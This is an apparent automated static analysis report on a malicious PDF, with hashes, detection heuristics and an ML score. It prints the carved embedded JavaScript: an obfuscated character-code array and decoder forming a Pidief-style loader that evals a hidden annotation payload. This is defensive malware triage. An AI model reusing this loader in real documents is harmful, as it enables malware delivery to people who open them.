Malicious PDF — malware analysis report

Static analysis result for SHA-256 f4ff5b4c97cf4124…

MALICIOUS

PDF

12.9 KB First seen: 2026-05-09
MD5: 9b405628d8fe51a5f1f404c9c9521c82 SHA-1: fbcaee3a738a0e4b2564da1640383f43ac1bf77b SHA-256: f4ff5b4c97cf4124ac6fbee5e220aa7bcae815882709cd412931fb05c20cdb17
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as malicious with a very high probability. Static analysis revealed embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS heuristic strongly suggests malicious intent. The embedded JavaScript, found in javascript_obj0005_000.js, is likely responsible for downloading and executing a second-stage payload, which is a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1225 bytes
SHA-256: 867657a7a74659a94c0b84716da0b7b245a9f7e0da657e729442653a96a79d92
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "105,102,32,40,49,41,32,123,118,97,114,32,122,59,32,118,97,114,32,121,59,32,114,61,40,114,61,39,108,97,99,101,39,44,39,114,101,112,39,43,114,41,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,91,39,103,39,43,39,101,116,39,43,39,65,110,110,111,116,115,39,93,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,91,114,93,40,47,122,47,103,44,32,39,97,37,98,39,91,114,93,40,47,91,97,98,93,47,103,44,32,39,39,41,41,59,118,97,114,32,116,104,32,61,32,101,118,101,110,116,46,116,97,114,103,101,116,59,32,115,32,61,32,116,104,91,39,117,110,101,115,39,32,43,32,39,99,97,112,101,39,93,32,40,108,41,32,59,118,97,114,32,101,32,61,32,97,112,112,91,39,101,118,39,32,43,32,39,97,108,39,93,59,32,101,40,115,41,59,125"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }